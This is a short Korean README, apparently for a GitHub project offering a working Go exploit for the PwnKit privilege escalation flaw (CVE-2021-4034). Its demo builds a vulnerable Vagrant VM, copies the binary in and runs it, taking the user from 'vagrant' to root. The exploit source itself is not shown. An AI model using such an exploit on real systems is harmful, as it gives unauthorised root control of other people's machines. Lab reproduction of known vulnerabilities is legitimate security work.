jpmcb/pwnkit-goPwnKit 취약점(CVE-2021-4034)에 대한 Go로 작성된 익스플로잇
이것은 Go로 작성된 pwnkit 취약점(CVE-2021-4034)에 대한 동작하는 익스플로잇입니다.
한번 시도해 보세요:
# 취약한 vagrant 머신 생성
$ make vm
...
# 바이너리를 빌드하고 vagrant 박스로 scp
$ make scp
# vagrant 박스에 ssh 접속
$ make ssh
# 기본 사용자는 "vagrant"입니다
vagrant@ubuntu-focal:~$ whoami
vagrant
# 익스플로잇 실행
vagrant@ubuntu-focal:/tmp$ cd /tmp && ./pwnkit-go
$ whoami
root